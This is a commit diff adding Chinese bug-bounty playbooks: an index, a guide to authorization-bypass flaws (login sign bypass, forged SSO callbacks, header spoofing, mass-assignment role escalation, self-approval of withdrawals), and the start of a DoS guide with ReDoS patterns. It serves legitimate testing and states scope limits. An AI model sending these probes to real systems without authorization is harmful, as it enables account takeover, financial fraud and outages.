reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,57 @@
|
||||
# Playbooks 总目录
|
||||
|
||||
> 每个 playbook 的视角都是黑盒——假定只有 URL 和参数,无源码
|
||||
|
||||
---
|
||||
|
||||
## 阅读建议
|
||||
|
||||
按"SRC 价值 / 易出货"顺序读:
|
||||
|
||||
| 优先级 | Playbook | 一句话价值 |
|
||||
|-------|---------|-----------|
|
||||
| 🔴 P0 | `unauth-access.md` | 默认凭据 / Redis-Mongo-ES / Actuator / Swagger / .git——开局送的 P0 |
|
||||
| 🔴 P0 | `rce.md` | Log4Shell / Spring4Shell / Fastjson / Struts2 / 命令注入指纹库 |
|
||||
| 🔴 P0 | `file-upload.md` | 解析漏洞 + 编辑器漏洞 + 截断绕过 |
|
||||
| 🔴 P0 | `path-traversal.md` | `../etc/passwd` 加 6 种编码 + WEB-INF / web.config |
|
||||
| 🟠 P1 | `info-disclosure.md` | .git / .svn / 备份文件 / phpinfo / 日志 / OSS bucket |
|
||||
| 🟠 P1 | `logic-flaws.md` | 密码重置 4 模式 / IDOR / 越权 / 验证码 / 支付 |
|
||||
| 🟠 P1 | `arbitrary-x-authz.md` | 任意 X 子授权(任意账号 86.4% / 任意操作 72.5%)|
|
||||
| 🟠 P1 | `oauth-saml-jwt.md` | redirect_uri / state / JWT alg / kid / SAML 包裹 |
|
||||
| 🟠 P1 | `sqli.md` | 27,732 个真实案例提炼,含高频参数频率表 |
|
||||
| 🟠 P1 | `ssrf-cache-host.md` | 内网探测 + 云元数据 + Host header / 缓存投毒 |
|
||||
| 🟡 P1/P2 | `api-rest.md` | BOLA / Mass Assignment / 速率 / CORS |
|
||||
| 🟡 P1/P2 | `graphql.md` | Introspection / 嵌套 IDOR / DoS |
|
||||
| 🟡 P2 | `race-conditions.md` | 优惠券双花 / 余额超扣 / 限额绕过 |
|
||||
| 🟡 P2 | `xss.md` | 7,532 真实案例,上下文绕过表 |
|
||||
| 🟡 P2 | `http-smuggling.md` | CL.TE / TE.CL / H2→H1 |
|
||||
| 🟡 P2 | `mobile.md` | 安卓导出组件 / Intent / WebView / Pinning |
|
||||
| 🟡 P2 | `llm-prompt-injection.md` | Prompt 注入 / RAG 投毒 / Agent 工具 |
|
||||
|
||||
---
|
||||
|
||||
## 每个 playbook 的统一结构
|
||||
|
||||
```
|
||||
1. 一句话说清是什么 + 为什么 SRC 关注
|
||||
2. 高频入口点(参数名 / 路径 / Header),引用统计数字
|
||||
3. 探测手法(Probe)—— payload + 响应特征 + 带外/延时/差异
|
||||
4. Bypass 矩阵(编码、混淆、WAF、过滤器绕过)
|
||||
5. 利用提权 / 横向(从触发到价值升级)
|
||||
6. 真实案例指纹(CVE/wooyun ID + 1 句版本特征 + 检测 payload)
|
||||
7. 复现/证据要点(HTTP 包、CVSS 关键 vector、影响段写法)
|
||||
8. 不要做的事(合规边界 / 数据保护)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 与方法论的关系
|
||||
|
||||
```
|
||||
methodology/01-attack-priority → 决定先打哪个 playbook
|
||||
methodology/04-control-gap → 端点归类 → 翻到对应 playbook
|
||||
methodology/02-bypass-toolkit → payload 被拦时的通用绕过
|
||||
methodology/03-evidence → 写报告前的证据纪律
|
||||
playbooks/<type>.md → 具体类型的探测/利用细节
|
||||
templates/report-submission.md → H1/Bugcrowd 三段式提交模板
|
||||
```
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,481 @@
|
||||
# 任意 X 子授权——比 IDOR 更狠的"权限维度"漏洞
|
||||
|
||||
> 视角:黑盒
|
||||
> 与 `logic-flaws.md` §3.2(IDOR)的关系:IDOR = 访问"他人的"资源;本篇 = 执行"你不应该有的操作",**无论资源属于谁**。
|
||||
> 数据基础:529 个真实案例,子类别高危占比 51%–86.4%。
|
||||
|
||||
---
|
||||
|
||||
## 1. 一句话区分
|
||||
|
||||
```
|
||||
IDOR (62.3% 高危) :A 改 ID → 读/改 B 的资源
|
||||
任意 X (51%–86.4% 高危) :A 直接执行"批准/删除/创建管理员"的接口,绕过整个权限模型
|
||||
```
|
||||
|
||||
IDOR 是"维度内偷东西";任意 X 是"维度跨界"——把普通用户当成管理员/系统/审计员来用。
|
||||
|
||||
SRC 价值:**任意账号** 这一档(86.4% 高危)和 RCE 几乎等价;**任意用户注册**(75%)能批量薅羊毛或搭建钓鱼基础设施;**任意操作**(72.5%)通常等价于"全站管理员"。
|
||||
|
||||
---
|
||||
|
||||
## 2. 6 个子类别 × 高危占比
|
||||
|
||||
| 子类 | 案例数 | 高危占比 | 一句话 | 探测主战场 |
|
||||
|------|--------|---------|--------|----------|
|
||||
| **任意账号 / 任意登录** | 220 | **86.4%** | 不需密码即可以任意用户身份获得 token | 登录、SSO、第三方登录回调 |
|
||||
| **任意用户注册** | 24 | **75.0%** | 绕过邀请/邮箱域/手机号绑定 | 注册接口、SSO 注册回调 |
|
||||
| **任意修改** | 159 | **63.5%** | 改任何记录(不限制 owner) | profile/config/content 写接口 |
|
||||
| **任意查看** | 45 | **55.6%** | 批量导出 / admin 视图 / 全局搜索 | 报表、导出、admin search |
|
||||
| **任意操作** | 40 | **72.5%** | 批准/发布/执行特权操作 | 审核、上下架、退款审批、发卡 |
|
||||
| **任意删除** | 41 | **51.2%** | 删任何记录无所有权检查 | DELETE / `?action=del` |
|
||||
|
||||
---
|
||||
|
||||
## 3. 任意账号——最值钱的子类(86.4%)
|
||||
|
||||
### 3.1 6 种典型形态(全是真实案例归纳)
|
||||
|
||||
#### 形态 A:登录接口接受空密码 / 客户端伪造
|
||||
|
||||
```http
|
||||
POST /api/login HTTP/1.1
|
||||
{"username":"admin","password":""}
|
||||
|
||||
→ 200, token=xxx
|
||||
```
|
||||
|
||||
或:
|
||||
|
||||
```http
|
||||
POST /api/login HTTP/1.1
|
||||
{"username":"victim","client_signature":"xxx","timestamp":1234567890}
|
||||
```
|
||||
|
||||
服务端只校验 `client_signature`(客户端可逆算法)+ 时间,**不校验密码**。
|
||||
|
||||
**探针**:把 `password` 字段置空 / 删除 / 设为 `null` / 设为 `["",""]`,对比响应。
|
||||
|
||||
#### 形态 B:SSO 回调可伪造
|
||||
|
||||
```
|
||||
登录页 → 跳到 SSO → 回调 /sso/callback?username=admin&sign=xxx
|
||||
```
|
||||
|
||||
如果 `sign` 用客户端可见密钥算 / 不校验、或回调里直接信任 `username` → 任意账号。
|
||||
|
||||
**探针**:抓回调包,把 `username` 改成 `admin` 重发。
|
||||
|
||||
#### 形态 C:sign 字段可绕过
|
||||
|
||||
```http
|
||||
POST /api/login HTTP/1.1
|
||||
{"phone":"13888888888","sign":"abc..."}
|
||||
|
||||
# 删 sign 或 sign="null" 或 sign=""
|
||||
{"phone":"13888888888"} → 200 接管
|
||||
{"phone":"13888888888","sign":""} → 200 接管
|
||||
{"phone":"13888888888","sign":"00000000"} → 200 接管(哈希校验关闭)
|
||||
```
|
||||
|
||||
**探针**:删除 / 置空 / 全 0 替换 sign 字段。
|
||||
真实案例:鱼泡泡 APP 任意用户登录(sign 绕过 → 任意余额操作)。
|
||||
|
||||
#### 形态 D:手机一键登录绑定缺陷
|
||||
|
||||
```
|
||||
1. 自有手机 13888888888 收到 token_a
|
||||
2. 直接拿 token_a 调 /api/loginByToken?token=token_a&phone=victim
|
||||
→ 服务端只看 token_a 有效性,不校验 token_a 是否绑定 victim
|
||||
```
|
||||
|
||||
**探针**:在"手机号一键登录"流程里改 `phone` 字段,看是否登入受害者账号。
|
||||
|
||||
#### 形态 E:JWT 算法 / kid 切换
|
||||
|
||||
详见 `oauth-saml-jwt.md`。简记:
|
||||
- `alg=none` 接受
|
||||
- `alg=HS256` 用 RS256 公钥当 HMAC 密钥
|
||||
- `kid` 路径穿越读 `/dev/null` 当作密钥
|
||||
|
||||
#### 形态 F:Cookie / Header 直接信任
|
||||
|
||||
真实案例:福建网龙 wooyun-2015-0157092——`?userAccount=admin` 直接写 Cookie 进入后台。
|
||||
|
||||
**探针**:
|
||||
```
|
||||
Cookie: userId=1; userAccount=admin; isAdmin=1; role=admin
|
||||
X-User-Id: 1
|
||||
X-Real-User: admin
|
||||
X-Original-User: admin
|
||||
```
|
||||
|
||||
### 3.2 任意账号的报告写法
|
||||
|
||||
```
|
||||
[P0][未授权 → 接管任意账号] /api/login sign 字段空值绕过
|
||||
|
||||
复现:
|
||||
1. POST /api/login {"phone":"13888888888","sign":"abc"} → 收到 token_self
|
||||
2. POST /api/login {"phone":"victim_phone","sign":""} → 直接收到 victim 的 token
|
||||
3. 用 token 调 /api/userInfo → 返回 victim 资料
|
||||
|
||||
业务影响:任意手机号即可接管账户。已用研究员两个测试号互测证明,
|
||||
未访问真实用户。
|
||||
```
|
||||
|
||||
CVSS 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)。
|
||||
|
||||
---
|
||||
|
||||
## 4. 任意用户注册(75.0%)
|
||||
|
||||
### 4.1 5 种典型绕过
|
||||
|
||||
| 绕过类型 | 探针 | 效果 |
|
||||
|---------|------|------|
|
||||
| 跳过邀请码 | 抓注册包,删 `inviteCode` 字段 | 强行入站 |
|
||||
| 邮箱白名单绕过 | `attacker@victim.com.attacker.com` / `attacker+@victim.com` / IDN 同形字 | 冒充内部员工 |
|
||||
| 手机短信跳过 | 抓"输入手机号→发码"和"提交注册"两包,注册包里直接构造 `verified=true` | 虚假手机号注册 |
|
||||
| 直接调 `setRole` | 注册后立即调 `/api/profile/update {"role":"admin"}` | 注册即管理员 |
|
||||
| 注册时附加 admin 字段 | `POST /register {"username":"x","password":"y","role":"admin","is_admin":true,"level":9}` | 注册即管理员 |
|
||||
|
||||
**主战场**:内部员工系统、SaaS 后台、企业客户门户、邀请制社区。
|
||||
|
||||
### 4.2 探针清单
|
||||
|
||||
```bash
|
||||
# 1. 抓正常注册包,逐字段加 admin 标记
|
||||
POST /api/register
|
||||
{"username":"hunter1","password":"x","role":"admin"}
|
||||
{"username":"hunter2","password":"x","is_admin":true}
|
||||
{"username":"hunter3","password":"x","admin":1}
|
||||
{"username":"hunter4","password":"x","level":9,"role_id":1}
|
||||
{"username":"hunter5","password":"x","permissions":["*"]}
|
||||
|
||||
# 2. 看注册响应里有没有 role 字段——如果有,下次请求就能改
|
||||
# 3. 注册成功后立即测:能否访问 /admin/* ?
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. 任意操作(72.5%)——最容易被低估
|
||||
|
||||
### 5.1 操作类型识别
|
||||
|
||||
凡是接口名包含以下词的,都属于"任意操作"嫌疑:
|
||||
|
||||
```
|
||||
approve / audit / verify / review / publish / unpublish
|
||||
withdraw / refund / cancel / settle / payout
|
||||
ban / unban / lock / unlock / freeze
|
||||
deploy / rollback / sync / refresh
|
||||
sendCard / generateCode / issueCoupon
|
||||
```
|
||||
|
||||
### 5.2 三个最常见的探测形态
|
||||
|
||||
#### 形态 A:自审自批
|
||||
|
||||
```
|
||||
1. 普通用户 hunter_a 提交"提现申请" → 状态 pending
|
||||
2. 同 hunter_a 调用 /admin/withdraw/approve?id=申请ID
|
||||
→ 提现成功
|
||||
```
|
||||
|
||||
**根因**:审核接口只校验登录态,不校验角色 != 申请人。
|
||||
|
||||
#### 形态 B:批量执行
|
||||
|
||||
```
|
||||
GET /admin/users/banAll # 普通用户能调,封全站
|
||||
POST /admin/cache/flushAll
|
||||
POST /admin/coupon/issueAll # 给所有人发 100 元券
|
||||
```
|
||||
|
||||
**根因**:管理员接口仅前端隐藏,未在后端校验角色。
|
||||
|
||||
#### 形态 C:发卡 / 充值 / 退款生成
|
||||
|
||||
```
|
||||
POST /api/recharge/genCard {"amount":1000,"count":100}
|
||||
→ 生成 100 张 1000 元充值卡
|
||||
|
||||
POST /api/refund/create {"orderId":"xxx","amount":99999}
|
||||
→ 不校验"订单是否真的存在 / 是否已支付",直接打回退款
|
||||
```
|
||||
|
||||
**根因**:财务/运营接口直接对外,未做"操作主体身份"校验。
|
||||
|
||||
真实案例:中国铁通计费系统——任意生成充值卡。
|
||||
|
||||
### 5.3 任意操作的鉴别问题
|
||||
|
||||
> 怎么知道一个接口"应该"是管理员才能调?
|
||||
|
||||
线索:
|
||||
1. **路径包含 admin / manage / system / backend** → 必测
|
||||
2. **响应字段含 status/state/auditState** → 高度嫌疑(有审核动作)
|
||||
3. **操作没有"待审核"步骤却直接生效** → 任意操作潜伏点
|
||||
4. **JS 里写明"仅管理员可见"但接口没鉴权** → 标准任意操作
|
||||
5. **操作写日志但 actor 字段固定为 system / admin** → 服务端没校验真实 actor
|
||||
|
||||
---
|
||||
|
||||
## 6. 任意修改 / 任意查看 / 任意删除
|
||||
|
||||
### 6.1 任意修改(63.5%)—— 与 IDOR 的边界
|
||||
|
||||
IDOR:改 `id=B` 改 B 的资源(基于 ID 替换)。
|
||||
任意修改:调 `/api/admin/setAnnouncement` 改全站公告 / 调 `/api/setSystemConfig` 改系统配置。
|
||||
|
||||
**主战场**:
|
||||
- `/api/system/config/*`
|
||||
- `/api/announcement/*`
|
||||
- `/api/global/*`
|
||||
- `/api/setting/*`
|
||||
|
||||
**探针**:
|
||||
```bash
|
||||
# 用普通账号尝试系统级写接口
|
||||
POST /api/system/setMaintenance {"on":true} # 把网站置维护模式
|
||||
POST /api/announcement/create {"text":"hi"} # 写全站公告
|
||||
POST /api/global/email-template {"html":"<x>"} # 改全站邮件模板(→ 钓鱼)
|
||||
```
|
||||
|
||||
### 6.2 任意查看(55.6%)—— 批量导出场景
|
||||
|
||||
不是查单条,是**批量导出**或**全局列表**:
|
||||
|
||||
```
|
||||
GET /api/users/export?format=csv # 导出全用户
|
||||
GET /api/orders/list?pageSize=99999 # 翻全部订单
|
||||
GET /api/admin/search?keyword= # 全局搜索
|
||||
GET /api/report/daily?date=2025-01-01 # 财务日报
|
||||
```
|
||||
|
||||
**探针**:
|
||||
1. 找到列表/导出接口
|
||||
2. 用普通用户 token 请求
|
||||
3. 看返回的数据是不是只有自己的(应该是)
|
||||
|
||||
### 6.3 任意删除(51.2%)—— 慎重测试
|
||||
|
||||
**SRC 红线**:**任意删除只做证明,不做实测**。
|
||||
|
||||
证明方法:
|
||||
1. 找接口(如 `DELETE /api/posts/{id}`)
|
||||
2. 用研究员两个测试账号互删——证明 A 能删 B 的资源
|
||||
3. **永远不删真实用户的数据**——即使能删
|
||||
|
||||
如果不能用两个账号证明(如目标是 `/api/admin/wipeAll`),**只截 JS / Burp 看到接口暴露 + curl 不带 cookie 看 401/403 是否拦截**,绝不实际触发。
|
||||
|
||||
### 6.4 垂直越权 / roleid 修改(高频 mass-assignment 子类)
|
||||
|
||||
与水平越权(IDOR:改 `id=B` 看 B 数据)相对,**垂直越权**指普通用户改字段把自己提权到 admin / 运营 / 客服。最常见的 sink 是后端没过滤掉的 `role` / `roleid` / `permission` / `level` / `is_admin` 字段。
|
||||
|
||||
**典型攻击面**:
|
||||
- **注册**:`POST /api/register` body 多塞一个 `roleid=99` / `role=admin` / `permissions=["*"]` —— 后端若 mass-assign 整个 body 到 user model,提权完成
|
||||
- **个人资料更新**:`PUT /api/user/profile` 加 `role` / `groupId` —— 资料接口未白名单字段
|
||||
- **管理员邀请回填**:接受邀请时回传 `inviteRole`,后端信任前端值
|
||||
- **OIDC / SSO 回调**:回调 body 含 `groups` 数组,后端直接落库
|
||||
|
||||
**探针(标准 mass-assignment 流程)**:
|
||||
|
||||
```bash
|
||||
# 1. 抓正常注册 / 个人资料更新包,记录字段集合 F0
|
||||
POST /api/register {"username":"u","password":"p","email":"u@x"}
|
||||
|
||||
# 2. 在 F0 基础上加 admin-意味字段(多个一起试,后端可能只过滤一两个)
|
||||
POST /api/register {"username":"u","password":"p","email":"u@x",
|
||||
"role":"admin", "roleid":99, "role_id":99,
|
||||
"is_admin":true, "isAdmin":true, "admin":true,
|
||||
"permissions":["*"], "level":99, "user_type":"admin",
|
||||
"groupId":1, "tenantId":1, "departmentId":1,
|
||||
"is_super":1, "vip_level":99
|
||||
}
|
||||
|
||||
# 3. 立刻验证:用新账号请求管理员-only 接口
|
||||
GET /api/admin/users
|
||||
GET /api/admin/stats
|
||||
GET /api/system/config
|
||||
```
|
||||
|
||||
**JSON 嵌套 / 大小写 / 别名 try-list**:
|
||||
```text
|
||||
"user":{"role":"admin"} # 嵌套
|
||||
"User":{"Role":"admin"} # PascalCase
|
||||
"profile":{"isAdmin":true} # camelCase nested
|
||||
"meta":{"role_id":99} # 元数据字段
|
||||
"extra":{"admin":1} # 扩展字段
|
||||
"_role":"admin" # 下划线前缀(部分框架默认 strip)
|
||||
"role[]=admin" # 表单数组
|
||||
"role%00":"admin" # 空字节
|
||||
```
|
||||
|
||||
**响应特征**:
|
||||
- 返回的 JSON 里包含 `role: "admin"`(后端把字段回显)→ 命中
|
||||
- 注册后立刻 `/api/me` 看角色字段 → 命中
|
||||
- 注册响应里 token / session 解码后含 `admin` claim → 命中
|
||||
|
||||
**修复识别**:
|
||||
- 后端有显式 DTO / serializer 白名单 → 字段被丢弃,响应不变
|
||||
- 后端用 ORM 全字段 hydrate(Laravel `$fillable` 设为 `*`、Django ModelForm 不限 `fields`)→ 大概率命中
|
||||
|
||||
**红线**:确认能提权后**只用 `/api/me` 看 role 字段**,不进入 admin 后台实际操作。截图 + 字段差异即可证明影响。
|
||||
|
||||
---
|
||||
|
||||
## 7. 通用探测协议(适用于所有 6 子类)
|
||||
|
||||
### 7.1 双账号 + 三角色测试
|
||||
|
||||
```
|
||||
账号 A(注册级) 账号 B(注册级) 账号 C(如能拿到——商家/审核员)
|
||||
|
||||
对每个写/删/批准接口:
|
||||
1. 用 A 调一次(基线,看是否调得通)
|
||||
2. 用 A 调 B 的资源(→ IDOR)
|
||||
3. 用 A 调 C 才能调的接口(→ 任意操作 / 任意修改)
|
||||
4. 用 A 调 admin 才能调的接口(→ 任意操作)
|
||||
5. 完全不带 token 调(→ 未授权)
|
||||
```
|
||||
|
||||
### 7.2 接口发现来源(按命中率)
|
||||
|
||||
| 来源 | 命中率 | 找什么 |
|
||||
|------|--------|--------|
|
||||
| 前端 JS(webpack 拆包) | 高 | 所有 fetch/axios URL,包括"管理员才用"的 |
|
||||
| Wayback Machine | 中 | 已下线但仍在服务端的接口 |
|
||||
| sitemap.xml / robots.txt | 中 | "禁止访问"的提示路径 |
|
||||
| Swagger / api-docs | 高 | 发现完整 API 字典(很多目标没关 swagger) |
|
||||
| APP 反编译 + 抓包 | 高 | 内部接口、管理员接口、商家接口 |
|
||||
| GitHub 代码搜 | 中 | 公司外包代码、配置示例、密钥 |
|
||||
| 错误页 / 堆栈跟踪 | 低 | 内部路径线索 |
|
||||
|
||||
### 7.3 状态码语义解读
|
||||
|
||||
| 状态码 | 含义 | 是否值得继续测 |
|
||||
|--------|------|--------------|
|
||||
| 200 + 正常数据 | 接口能调,可能漏权限校验 | 🔴 立刻测越权 |
|
||||
| 200 + `{"error":"..."}` | 接口能调,业务层报错 | 🟠 改参数继续 |
|
||||
| 401 / 403 | 鉴权拒绝 | 🟡 试 bypass 头 |
|
||||
| 404 | 路径错或接口不存在 | 🟢 路径变体 |
|
||||
| 405 | 方法错 | 🟠 换 GET/POST/PUT/DELETE |
|
||||
| 500 | 服务端错 | 🟠 看错误信息找内部路径 |
|
||||
|
||||
---
|
||||
|
||||
## 8. 真实案例指纹
|
||||
|
||||
| 子类 | 案例 | 指纹 |
|
||||
|------|------|------|
|
||||
| 任意账号 | 鱼泡泡 APP 任意用户登录 | sign 字段置空绕过 |
|
||||
| 任意账号 | TCL 统一认证平台可重置所有用户密码 | SSO 回调 `userId=` 可控 |
|
||||
| 任意账号 | 福建网龙 wooyun-2015-0157092 | `?userAccount=admin` 直接写 Cookie |
|
||||
| 任意修改 | 龙珠网直播平台越权修改他人信息 | profile 写接口不校验 owner |
|
||||
| 任意操作 | 中国铁通计费系统生成充值卡 | 普通账号能调发卡接口 |
|
||||
| 任意操作 | M1905 价值 2588 套餐只要 5 毛 | 自批准(创建订单 + 自审)|
|
||||
| 任意查看 | 北京现代某平台越权遍历几百万证件 | 顺序文件 ID 无所有权检查 |
|
||||
| 任意操作 | 微小宝 APP 操控 19 万微信号可提现 | 接口未校验 actor |
|
||||
|
||||
---
|
||||
|
||||
## 9. 报告 PoC 模板
|
||||
|
||||
```markdown
|
||||
# [P0][认证后→任意操作] /admin/withdraw/approve 普通用户可批准任意提现申请
|
||||
|
||||
## 复现步骤
|
||||
|
||||
### 准备
|
||||
- 账号 A:研究员注册的普通用户,user_id=10001
|
||||
- 账号 B:研究员注册的普通用户,user_id=10002
|
||||
|
||||
### Step 1:A 用普通账号提交提现申请(基线)
|
||||
POST /api/withdraw/apply
|
||||
Authorization: Bearer A_token
|
||||
{"amount":1.00}
|
||||
→ 200 {"applyId":"PA20250509001","status":"pending"}
|
||||
|
||||
### Step 2:A 调用管理员审批接口批准自己的申请(漏洞)
|
||||
POST /admin/withdraw/approve
|
||||
Authorization: Bearer A_token ← 普通用户 token
|
||||
{"applyId":"PA20250509001","decision":"approve"}
|
||||
→ 200 {"status":"approved","amount":1.00}
|
||||
|
||||
### Step 3:余额已到账(截图)
|
||||
|
||||
### Step 4:用 B 重复——同样能批准 B 的申请
|
||||
(证明非个例,是接口缺鉴权)
|
||||
|
||||
## 业务影响
|
||||
|
||||
任意用户可绕过财务审核,从平台直接提现。
|
||||
- 财务损失:理论无上限(仅受单日转账额度限制)
|
||||
- 影响范围:所有可调 /admin/withdraw/approve 的用户
|
||||
- 攻击复杂度:单 HTTP 请求
|
||||
|
||||
## 测试边界
|
||||
本次测试每笔金额 1 元,总计 2 元(A、B 各 1 笔),
|
||||
研究员愿意把 2 元退还给厂方账户。
|
||||
|
||||
## 修复建议
|
||||
- 在 /admin/* 路径强制校验 RBAC,仅 role=auditor 可调
|
||||
- 财务审批引入"申请人 != 审批人"校验
|
||||
- 服务端记录 actor 真实身份,与请求人对照
|
||||
```
|
||||
|
||||
CVSS:`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8` — 接近 RCE。
|
||||
|
||||
---
|
||||
|
||||
## 10. 不要做的事
|
||||
|
||||
- **禁**:用任意账号登录别人真实账号去看数据。永远用研究员注册的两个测试号互测。
|
||||
- **禁**:任意删除真实数据。即使接口允许。
|
||||
- **禁**:任意操作里发起真实退款/转账。证明到"接口返回 success"即停,立即联系厂方 / SRC 客服核实是否需要回滚。
|
||||
- **禁**:任意用户注册时使用 `admin@victim.com` 这类高权限账号——用研究员自己的邮箱后缀(hunter+1@yourdomain)。
|
||||
- **禁**:任意修改全站公告 / 邮件模板。改一次会被运营立刻发现,且影响真实用户。证明"接口能调通 + 200"即停。
|
||||
|
||||
---
|
||||
|
||||
## 11. 与其他 playbook 的链接
|
||||
|
||||
- 越权 / IDOR 的"维度内"测试 → `playbooks/logic-flaws.md` §3.2
|
||||
- API 设计层缺陷(mass assignment / BOLA)→ `playbooks/api-rest.md`
|
||||
- JWT / SSO / OAuth 层任意账号 → `playbooks/oauth-saml-jwt.md`
|
||||
- 信息泄露找接口 → `playbooks/info-disclosure.md`
|
||||
- 配置不当(admin 路径直暴露)→ `playbooks/unauth-access.md`
|
||||
|
||||
## H1 真实案例
|
||||
|
||||
_共 465 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
|
||||
|
||||
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
||||
|---|--:|---|---|---|
|
||||
| Critical | 35000 usd | GitLab | [Account Takeover via Password Reset without user interactions](https://hackerone.com/reports/2293343) | Account Takeover via Password Reset without user interactions |
|
||||
| High | 15000 usd | Snapchat | [Delete anyone's content spotlight remotely.](https://hackerone.com/reports/1819832) | Hello Snapchat, Snapchat has viral video feature callled spotlight which alone was the biggest trend and increase snapchat user… |
|
||||
| High | 10500 usd | PayPal | [IDOR to add secondary users in www.paypal.com/businessmanage/users/api/v1/users](https://hackerone.com/reports/415081) | IDOR to add secondary users in www.paypal.com/businessmanage/users/api/v1/users |
|
||||
| Critical | 11000 usd | GitLab | [Exfiltrate and mutate repository and project data through injected templated service](https://hackerone.com/reports/446585) | The GitLab import feature contains a vulnerability that allows an attacker to import a project that creates a service template |
|
||||
| High | — | HackerOne | [Email address of any user can be queried on Report Invitation GraphQL type when username is known](https://hackerone.com/reports/792927) | Summary:** Email id of all hackerone users disclosure Description:** There is an flaw , with that i can get all hackerone users… |
|
||||
| Critical | — | Upserve | [Ability to reset password for account](https://hackerone.com/reports/322985) | Ability to reset password for account |
|
||||
| Critical | 12000 usd | GitLab | [Project Template functionality can be used to copy private project data, such as repository, conf…](https://hackerone.com/reports/689314) | I've found a three minor vulnerabilities which, when combined, allow an attacker to copy private repositories, confidential iss… |
|
||||
| Critical | — | Snapchat | [Publicly accessible Continuous Integration Tool](https://hackerone.com/reports/313457) | Publicly accessible Continuous Integration Tool |
|
||||
| Critical | — | Shopify | [Email Confirmation Bypass in your-store.myshopify.com which leads to privilege escalation](https://hackerone.com/reports/910300) | Hello Shopify, I have found a bug by which I can verify any email on .myshopify.com, the bug is very strange but it works |
|
||||
| Critical | — | Reddit | [One-click account hijack for anyone using Apple sign-in with Reddit, due to response-type switch …](https://hackerone.com/reports/1567186) | Hi, Description I've been researching new ways to steal OAuth codes and access-tokens using postMessage, and I found a way for … |
|
||||
| High | 12500 usd | HackerOne | [IDOR - Delete all Licenses and certifications from users account using CreateOrUpdateHackerCertif…](https://hackerone.com/reports/2122671) | Summary:** Hey team, While editing our **Licenses and certifications** if we change the ID number we can delete other users **L… |
|
||||
|
||||
**命中本类的 weakness 分布:**
|
||||
|
||||
- Improper Access Control - Generic:203 条
|
||||
- Privilege Escalation:122 条
|
||||
- Insecure Direct Object Reference (IDOR):97 条
|
||||
- Uncategorized → 手工归类:17 条
|
||||
- Improper Authorization:15 条
|
||||
- Incorrect Authorization:4 条
|
||||
- Forced Browsing:2 条
|
||||
- Missing Authorization:2 条
|
||||
- Incorrect Privilege Assignment:1 条
|
||||
- Improper Privilege Management:1 条
|
||||
- Execution with Unnecessary Privileges:1 条
|
||||
@@ -0,0 +1,615 @@
|
||||
# 拒绝服务(DoS)
|
||||
|
||||
> 视角:黑盒,目标是用最小流量证明"如果继续打,目标就死",绝不真把目标打死
|
||||
> 涵盖 100+ 份真实 H1 高危 DoS 案例,平台覆盖 Tomcat / Node.js / mruby / GitLab / Discourse / WordPress / Cloudflare CDN
|
||||
|
||||
---
|
||||
|
||||
## 1. 一句话说清是什么 + 为什么 SRC 关注
|
||||
|
||||
DoS = 让服务**消耗的资源(CPU / 内存 / 文件句柄 / 数据库连接 / 带宽)**远超处理一次正常请求所需,导致合法用户无法访问。
|
||||
公式:**放大比 = 攻击成本 / 目标资源消耗**。放大比 ≥ 1:1000 → P3,≥ 1:100000 或单包打死 → P2/P1。
|
||||
|
||||
**为何 SRC 关注**:
|
||||
- DoS 是按量计费云服务(Lambda / GraphQL 解析 / 视频转码)的"账单炸弹"杠杆
|
||||
- 应用层 DoS 通常无法用 WAF / Cloudflare 抵挡(流量是合法的)
|
||||
- 单包 / 单连接打死后端的漏洞(CVE-2024-27983 Node.js HTTP/2、CVE-2024-34750 Tomcat)属高危
|
||||
- mruby / V8 / 沙箱解释器内的 DoS 通常归类为安全漏洞而不是普通 bug,因为攻击面是 untrusted code
|
||||
|
||||
**SRC 通常排除的 DoS(先看 scope)**:
|
||||
- 网络层洪水(SYN flood / UDP flood / 反射放大)
|
||||
- Rate limit 不够严格但不能放大
|
||||
- 仅本地 PoC 的 fork bomb / 客户端 DoS
|
||||
|
||||
**SRC 通常接受的 DoS**:
|
||||
- 单/少量请求耗尽全局资源(不是只影响自己)
|
||||
- 缓存投毒(一次请求让所有用户拿到 4xx/5xx)
|
||||
- 算法复杂度漏洞(ReDoS / 哈希碰撞 / O(n²) 解析)
|
||||
- 绕过 rate limit 后实施暴力 / 邮件轰炸
|
||||
- 解释器/解析器 segfault(直接进程崩溃)
|
||||
|
||||
---
|
||||
|
||||
## 2. 攻击类型分类
|
||||
|
||||
### 2.1 Regex DoS(ReDoS / 灾难性回溯)
|
||||
|
||||
正则带嵌套量词 `(a+)+`、`(a|a)+`、`(.*)*` 在特定输入上回溯爆炸。
|
||||
关键字:catastrophic backtracking、超线性正则。
|
||||
影响:单请求让 1 个 CPU 核打满数秒到数分钟。
|
||||
真实案例:CVE-2023-28756 Ruby `Time.rfc2822()` ReDoS(`Rack::ConditionalGet` 自动调用,HTTP 请求即可触发)。
|
||||
|
||||
**典型可疑正则**:
|
||||
```
|
||||
^(a+)+$
|
||||
^(a|a)+$
|
||||
^(a|aa)+$
|
||||
^(.*),(.*),(.*),(.*),(.*)$ # 多 .* 笛卡尔
|
||||
^([\w]+\s?)+$
|
||||
^([0-9]+)*[a-z]$
|
||||
```
|
||||
|
||||
### 2.2 算法复杂度爆炸(zip slip / billion laughs / 哈希碰撞 / 嵌套深度)
|
||||
|
||||
输入大小线性增长 → 后端处理时间/内存指数级增长。
|
||||
|
||||
| 子类 | 触发面 | 放大比 |
|
||||
|---|---|---|
|
||||
| XML billion laughs | XML/SOAP 解析 | 1KB → 3GB 内存 |
|
||||
| YAML/JSON 深嵌套 | API body 解析 | 100KB → 栈溢出 |
|
||||
| GraphQL 嵌套查询 | `/graphql` | 1KB → 数据库百万行 |
|
||||
| Markdown 渲染 | 评论 / issue / 富文本 | 1MB → CPU 60s(GitLab #1543718) |
|
||||
| 图像炸弹 | image upload / avatar | 100KB png → 数 GB 像素缓冲 |
|
||||
| zip bomb | 压缩文件解压 | 42KB → 4.5PB |
|
||||
| ZIP slip + 解压循环 | 上传解压 | 单文件名 100% CPU |
|
||||
